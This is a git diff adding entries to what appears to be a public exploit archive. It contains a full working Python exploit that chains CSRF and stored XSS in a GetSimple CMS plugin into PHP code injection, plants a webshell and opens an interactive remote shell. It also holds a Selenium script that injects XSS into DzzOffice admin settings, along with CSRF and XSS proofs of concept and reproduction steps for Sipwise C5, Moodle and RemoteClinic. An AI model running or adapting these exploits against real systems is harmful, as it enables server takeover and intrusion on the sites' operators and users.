diff --git a/exploits/hardware/webapps/49775.html b/exploits/hardware/webapps/49775.html index 9f411c011..ce3832d4d 100644 --- a/exploits/hardware/webapps/49775.html +++ b/exploits/hardware/webapps/49775.html @@ -2,9 +2,9 @@ # Date: 14/04/2021 # Exploit Author: Rodolfo Mariano # Version: Firmware V02.03.01.45_pt -# CVE: CVE-2021-31152 +# CVE: 2021-31152 -#Exploit code: +# Exploit code:
@@ -12,7 +12,7 @@ - +
' /> + + + + + + + + +Stored XSS (POST firstname, lastname, company): +----------------------------------------------- + + + +
+ + + + + + + + + + + + + +
+ + + + +Reflected XSS (GET lang): +------------------------- + + + +
+ + +
+ + \ No newline at end of file diff --git a/exploits/hardware/webapps/49801.html b/exploits/hardware/webapps/49801.html new file mode 100644 index 000000000..50f2a0a6e --- /dev/null +++ b/exploits/hardware/webapps/49801.html @@ -0,0 +1,53 @@ +# Exploit Title: Sipwise C5 NGCP CSC - Click2Dial Cross-Site Request Forgery (CSRF) +# Date: 13.04.2021 +# Exploit Author: LiquidWorm +# Vendor Homepage: https://www.sipwise.com + +Sipwise C5 NGCP CSC CSRF Click2Dial Exploit + + +Vendor: Sipwise GmbH +Product web page: https://www.sipwise.com +Affected version: <=CE_m39.3.1 + NGCP www_admin version 3.6.7 + +Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform) +is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide +rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, +conferencing etc.) that can be configured by end users in the self-care web interface. +For operators, it offers a web-based administrative panel that allows them to configure +subscribers, SIP peerings, billing profiles, and other entities. The administrative web +panel also shows the real-time statistics for the whole system. For tight integration +into existing infrastructures, Sipwise C5 provides a powerful REST API interface. + +Desc: The application interface allows users to perform certain actions via HTTP requests +without performing any validity checks to verify the requests. This can be exploited to +perform certain actions with administrative privileges if a logged-in user visits a malicious +web site. + +Tested on: Apache/2.2.22 (Debian) + Apache/2.2.16 (Debian) + nginx + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2021-5649 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php + + +13.04.2021 + +-- + + + + +
+ + +
+ + \ No newline at end of file diff --git a/exploits/multiple/webapps/49799.py b/exploits/multiple/webapps/49799.py new file mode 100755 index 000000000..f0f1cbeb3 --- /dev/null +++ b/exploits/multiple/webapps/49799.py @@ -0,0 +1,136 @@ +# Exploit Title: DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS) +# Author: @nu11secur1ty +# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r +# Date: 04/23/2021 +# Vendor: http://www.dzzoffice.com/ +# Link: https://github.com/zyx0814/dzzoffice +# CVE: CVE-2021-3318 + +[+] Exploit Source: + +#!/usr/bin/python3 +# Author: @nu11secur1ty +# CVE-2021-3318 + +from selenium import webdriver +import time +import os + + +#enter the link to the website you want to automate login. +website_link="http://localhost/dzzoffice/user.php?mod=login" + +#enter your login username +username="admin@dzzoffice.com" + +#enter your login password +password="password" + +#enter the element for username input field +element_for_username="email" +#enter the element for password input field +element_for_password="password" +#enter the element for submit button +element_for_submit="loginsubmit" + +# Dai brauzura aaa ta eba +browser = webdriver.Chrome() #uncomment this line,for chrome users + +# Otvarai da ne vlazam s kasata +browser.get((website_link)) + +# Run... +try: +username_element = browser.find_element_by_name(element_for_username) +username_element.send_keys(username) +password_element = browser.find_element_by_name(element_for_password) +password_element.send_keys(password) + +### Login +signInButton = browser.find_element_by_name(element_for_submit) +signInButton.click() + +### Exploit +#time.sleep(3) +element_for_natrutvanie="admin_password" +laina="http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket" +browser.get((laina)) + +### Next level... :) +os.system("python poc_login_1.py") + +print("payload is deployed_0...\n") +except Exception: + +#### This exception occurs if the element are not found in the webpage. +print("Some error occured :(") + +### os.system + +#!/usr/bin/python3 +# Author: @nu11secur1ty +# CVE-2021-3318 + +from selenium import webdriver +import time + + +#enter the link to the website you want to automate login. +website_link="http://localhost/dzzoffice/admin.php?mod=setting" + +#enter your login username +username="admin@dzzoffice.com" + +#enter your login password +password="password" + + +#enter the element for username input field +element_for_username="admin_email" + +#enter the element for password input field +element_for_password="admin_password" + +#enter the element for submit button +element_for_submit="submit" + +# Dai brauzura aaa ta eba +browser = webdriver.Chrome() #uncomment this line,for chrome users + +# Otvarai da ne vlazam s kasata +browser.get((website_link)) + +# Run... +try: +username_element = browser.find_element_by_name(element_for_username) +username_element.send_keys(username) +password_element = browser.find_element_by_name(element_for_password) +password_element.send_keys(password) + +### Login +signInButton = browser.find_element_by_name(element_for_submit) +signInButton.click() + +### Exploit +time.sleep(3) +element_for_natrutvanie="settingsubmit" +laina="http://localhost/dzzoffice/admin.php?mod=setting" +browser.get((laina)) + +### Inner text... +browser.execute_script("document.querySelector('[name=\"settingnew[metakeywords]\"]').value = ''") +browser.execute_script("document.querySelector('[name=\"settingnew[sitebeian]\"]').value = ''") +browser.execute_script("document.querySelector('[name=\"settingnew[metadescription]\"]').value = ''") +browser.execute_script("document.querySelector('[name=\"settingnew[statcode]\"]').value = ''") + +time.sleep(5) + +# Submit exploit +signInButton = browser.find_element_by_name(element_for_natrutvanie) +signInButton.click() + +print("payload is deployed_1...\n") +except Exception: + +#### This exception occurs if the element are not found in the webpage. +print("Some error occured :(") \ No newline at end of file diff --git a/exploits/php/webapps/49795.txt b/exploits/php/webapps/49795.txt index 4a416ba8b..fe3d0687f 100644 --- a/exploits/php/webapps/49795.txt +++ b/exploits/php/webapps/49795.txt @@ -5,7 +5,7 @@ # Software Link: https://github.com/remoteclinic/RemoteClinic # Version: 2.0 # Tested on: Windows 10 -# CVE : CVE-2021-30030, CVE-2021-30034, CVE-2021-30039, CVE-2021-30042 +# CVE : CVE-2021-30030, CVE-2021-30034, CVE-2021-30039, CVE-2021-30042, CVE-2021-31329 #Steps to Reproduce: @@ -48,4 +48,30 @@ For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/8 5)Click on that Clinic. 6)XSS Executed. -For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/11 \ No newline at end of file +For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/11 + +#Steps to Reproduce: + +1)Login in Application as Doctor. +2)Create a New Medicine. +3)Medicine Name Field is Vulnerable to XSS, inject with XSS Payload: XSS"> +4)But there is client side validation on maxlength but not on server side. +4)Change maxlength 30 to 100. +5)Click on Register. +6)Now Click on Show All which is /medicines/ endpoint. +7)XSS Executed. + +Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/14 + +#Steps to Reproduce: + +1)Login in Application as Doctor. +2)Create a New Staff Member. +3)Here is Chat Field and Personal Address Field are Vulnerable to XSS, inject with XSS Payload: XSS"> +4)Profile Created. +5)Signout. +6)Now login with that staff member which Chat field and Personal Address field consist of XSS Payload. +7)After Login, go to my profile. +8)XSS Executed. + +Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/16 \ No newline at end of file diff --git a/exploits/php/webapps/49797.txt b/exploits/php/webapps/49797.txt new file mode 100644 index 000000000..83fc1c5e4 --- /dev/null +++ b/exploits/php/webapps/49797.txt @@ -0,0 +1,17 @@ +# Exploit Title: Moodle 3.10.3 - 'url' Persistent Cross Site Scripting +# Date: 22/04/2021 +# Exploit Author: UVision +# Vendor Homepage: https://moodle.org/ +# Software Link: https://download.moodle.org +# Version: 3.10.3 +# Tested on: Debian/Windows 10 + +By having the role of a teacher or an administrator or a manager (to have the possibility to create a course): + +- Create a new course (http://localhost/moodle/course/edit.php?category=1&returnto=topcat) +- Give any name , short name, date and other things required. +- In "Description" field, click on the "link" button +- In the url field, enter the payload : +- Create the link, an alert window appears (close it several times so that it disappears) , save the course. ("Save and return") + +Each time the course description is displayed, the stored xss is activated : activate it by viewing the course, by modifying it, etc. \ No newline at end of file diff --git a/exploits/php/webapps/49798.py b/exploits/php/webapps/49798.py new file mode 100755 index 000000000..0385bf280 --- /dev/null +++ b/exploits/php/webapps/49798.py @@ -0,0 +1,174 @@ +# Exploit Title: GetSimple CMS My SMTP Contact Plugin 1.1.2 - CSRF to Stored XSS to RCE +# Exploit Author: Bobby Cooke (boku) +# Date: 22/04/2021 +# Vendor Homepage: http://get-simple.info & +# Software Link: http://get-simple.info/download/ +# Version: Exploit <= v1.1.1 | Stored XSS <= v1.1.2 +# Tested against Server Host: Windows 10 Pro + XAMPP +# Tested against Client Browsers: Firefox (Linix & Windows), Internet Explorer +# Vendor: NetExplorer + +# Exploit Description: +# The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website. The PHP function htmlspecialchars() attempts to sanitize the user-input, but is trivially bypassed by passing the dangerous characters as escaped hex bytes. This allows attackers to breakout of the HTML rendered by the PHP engine, to run arbitrary client-side code within the admins browser; after the admin submits the POST request from the CSRF attack. Since GetSimple CMS suffers from a known PHP code injection vulnerability within the themes edit page, the attacker can ride the admins session to perform a chain of XHR requests within the admins browser. The XHR chain triggered by the CSRF attack will collect the CSRF Token from the themes edit page, and use the token to exploit the PHP Code Injection vulnerability to upload a webshell within every page hosted by the CMS. +# Full Disclosure: github.com/boku7/gsSMTP-Csrf2Xss2RCE/ +# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H +# CVSS Base Score: 9.6 + +import argparse,requests +from http.server import BaseHTTPRequestHandler, HTTPServer +from colorama import (Fore as F, Back as B, Style as S) +from threading import Thread +from time import sleep + +FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT +def bullet(char,color): + C=FB if color == 'B' else FR if color == 'R' else FG + return SB+C+'['+ST+SB+char+SB+C+']'+ST+' ' +info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G') + +class theTHREADER(object): + def __init__(self, interval=1): + self.interval = interval + thread = Thread(target=self.run, args=()) + thread.daemon = True + thread.start() + def run(self): + run() + +def webshell(target): + try: + websh = "{}/webshell.php".format(target,page) + term = "{}{}BOKU{} > {}".format(SB,FR,FB,ST) + welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST) + print(welcome) + while True: + specialmove = input(term) + command = {'FierceGodKick': specialmove} + r = requests.post(websh, data=command, verify=False) + status = r.status_code + if status != 200: + r.raise_for_status() + response = r.text + print(response) + except: + pass + + +''' Breakout of the PHP and inject a --> \x22\x2b\x3e\x3cscript\x3ealert(1)\x3c/script\x3e + PAYLOAD + - Replace alert(1) payload above with the XHR Chain to gain RCE + - XHR Chain first collects the CSRF token on the theme-edit.php page, + then uses the token to inject PHP code into all pages of the CMS via known vulnerable themes component of core application''' +def xhrRcePayload(): + hexBreakoutOpen = '\\x22\\x2b\\x3e\\x3cscript\\x3e' + payload = 'var e=function(i){return encodeURIComponent(i);};' + payload += 'var h=\\x22application/x-www-form-urlencoded\\x22;' + payload += 'var u=\\x22/admin/theme-edit.php\\x22;' + payload += 'var xhr1=new XMLHttpRequest();' + payload += 'var xhr2=new XMLHttpRequest();' + payload += 'xhr1.onreadystatechange=function(){' + payload += 'if(xhr1.readyState==4 \\x26\\x26 xhr1.status==200){' + payload += 'r=this.responseXML;' + payload += 'nVal=r.querySelector(\\x22#nonce\\x22).value;' + payload += 'eVal=r.forms[1][2].defaultValue;' + payload += 'xhr2.open(\\x22POST\\x22,u,true);' + payload += 'xhr2.setRequestHeader(\\x22Content-Type\\x22,h);' + # for the $_REQUEST[solarflare] used for the webshell via shell_exec(), hex-escape the $ or else it will render in the PHP engine to early in the exploit chain + payload += 'payload=e(\\x22\\x3c?php echo shell_exec(\\x24_REQUEST[solarflare]) ?\\x3e\\x22);' + payload += 'params=\\x22nonce=\\x22+nVal+\\x22\\x26content=\\x22+payload+\\x22\\x26edited_file=\\x22+eVal+\\x22\\x26submitsave=Save+Changes\\x22;' + payload += 'xhr2.send(params);' + payload += '}};' + payload += 'xhr1.open(\\x22GET\\x22,u,true);' + payload += 'xhr1.responseType=\\x22document\\x22;' + payload += 'xhr1.send();' + hexBreakoutClose = '\\x3c/script\\x3e' + return hexBreakoutOpen + payload + hexBreakoutClose + +def csrfPayload(): + payload = '
' + payload += '' + payload += '' + payload += '' + payload += '' + payload += '' + payload += '
' + return payload + +class S(BaseHTTPRequestHandler): + def do_GET(self): + victim = self.client_address + victim = "{}:{}".format(victim[0],victim[1]) + print("{} connected to Malicious CSRF Site!".format(victim)) + self.wfile.write("{}".format(csrfPayload()).encode('utf-8')) + +def run(server_class=HTTPServer, handler_class=S, port=80): + server_address = ('', port) + httpd = server_class(server_address, handler_class) + print('{}Hosting CSRF attack & listening for admin to connect..'.format(info)) + try: + httpd.serve_forever() + except KeyboardInterrupt: + pass + httpd.server_close() + print('Stopping httpd...') + +def tryUploadWebshell(target,page): + try: + blind = target+page + # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt) + webshUpload = {'solarflare': "echo ^>webshell.php"} + requests.post(url=blind, data=webshUpload, verify=False) + except: + pass + +def checkWebshell(target): + try: + websh = "{}/webshell.php".format(target) + capsule = {'FierceGodKick':'pwnt?'} + resp = requests.post(url=websh, data=capsule, verify=False) + return resp.status_code + except: + pass + +def sig(): + SIG = SB+FY+" .-----.._ ,--.\n" + SIG += FY+" | .. > ___ | | .--.\n" + SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __\n" + SIG += FY+" | ) "+FR+" * *"+FY+" / \\ \\\n" + SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\\n" + SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____\n"+ST + return SIG + +def argsetup(): + about = SB+FB+' The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST + about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC + parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter) + desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB + parser.add_argument('Target',type=str,help=desc1) + desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST + parser.add_argument('PublicPage',type=str,help=desc2) + args = parser.parse_args() + return args + +if __name__ == '__main__': + header = SB+FR+' My SMTP Contact GetSimple CMS Plugin\n' + header += SB+FM+'CSRF '+FT+'-->'+FM+' Stored XSS '+FT+'-->'+FM+' XHR PHP Code Injection '+FT+'-->'+FM+' RCE\n'+ST + header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST + print(header) + args = argsetup() + target = args.Target + page = args.PublicPage + print(sig()) + theTHREADER() + pwnt = checkWebshell(target) + if pwnt != 200: + while pwnt != 200: + sleep(3) + tryUploadWebshell(target,page) + sleep(2) + pwnt = checkWebshell(target) + print("{} A wild webshell appears!".format(ok)) + webshell(target) \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 5f3a68d0c..0b130fd70 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -43968,3 +43968,8 @@ id,file,description,date,author,type,platform,port 49791,exploits/multiple/webapps/49791.py,"Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)",2021-04-21,"Dolev Farhi",webapps,multiple, 49793,exploits/php/webapps/49793.txt,"CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)",2021-04-22,bt0,webapps,php, 49794,exploits/perl/webapps/49794.py,"OTRS 6.0.1 - Remote Command Execution (2)",2021-04-22,Hex_26,webapps,perl, +49797,exploits/php/webapps/49797.txt,"Moodle 3.10.3 - 'url' Persistent Cross Site Scripting",2021-04-23,UVision,webapps,php, +49798,exploits/php/webapps/49798.py,"GetSimple CMS My SMTP Contact Plugin 1.1.2 - CSRF to Stored XSS to RCE",2021-04-23,boku,webapps,php, +49799,exploits/multiple/webapps/49799.py,"DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)",2021-04-23,nu11secur1ty,webapps,multiple, +49800,exploits/hardware/webapps/49800.html,"Sipwise C5 NGCP CSC - 'Multiple' Stored/Reflected Cross-Site Scripting (XSS)",2021-04-23,LiquidWorm,webapps,hardware, +49801,exploits/hardware/webapps/49801.html,"Sipwise C5 NGCP CSC - Click2Dial Cross-Site Request Forgery (CSRF)",2021-04-23,LiquidWorm,webapps,hardware,